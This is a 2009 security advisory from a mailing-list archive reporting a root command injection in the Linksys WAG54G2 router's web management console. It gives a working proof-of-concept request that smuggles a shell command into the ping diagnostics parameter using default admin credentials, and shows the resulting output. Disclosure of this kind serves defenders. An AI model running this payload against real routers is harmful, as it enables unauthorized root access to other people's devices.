lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: 29 May 2009 18:54:20 -0000
Subject: Linksys WAG54G2 Web Management Console Local Arbitrary Shell
 Command Injection Vulnerability

1. Linksys WAG54G2 router is a popular SOHO class device. It provides ADSL / WiFi / Ethernet interfaces.

2. When logged into web management console, it is possible to execute commands as root (tested on firmware: V1.00.10).

3. PoC:

GET /setup.cgi?ping_ipaddr1=1&ping_ipaddr2=1&ping_ipaddr3=1&ping_ipaddr4=1&ping_size=60&ping_number=1&ping_interval=1000&ping_timeout=5000&start=Start+Test&todo=ping_test&this_file=Diagnostics.htm&next_file=Diagnostics.htm&c4_ping_ipaddr=;/bin/ps aux&message= HTTP/1.1
Authorization: Basic YWRtaW46YWRtaW4=

HTTP/1.0 200 OK
sh: cannot create 1: Unknown error 30
killall: pingmultilang: no process killed
killall: 2: no process killed
  PID  Uid     VmSize Stat Command
    1 root        284 S   init       
    2 root            SWN [ksoftirqd/0]
    3 root            SW< [events/0]
    4 root            SW< [khelper]
    5 root            SW< [kthread]

4. Note that it is needed to supply valid user/password (Authorization HTTP header).

5. One could try to exploit this issue remotely (using CRSF) assuming that a victim did not change default password to the web management.

6. The vendor (Cisco) was contacted in march '09 and confirmed the issue (but still it remains unpatched).

7. More detailed information:

Powered by blists - more mailing lists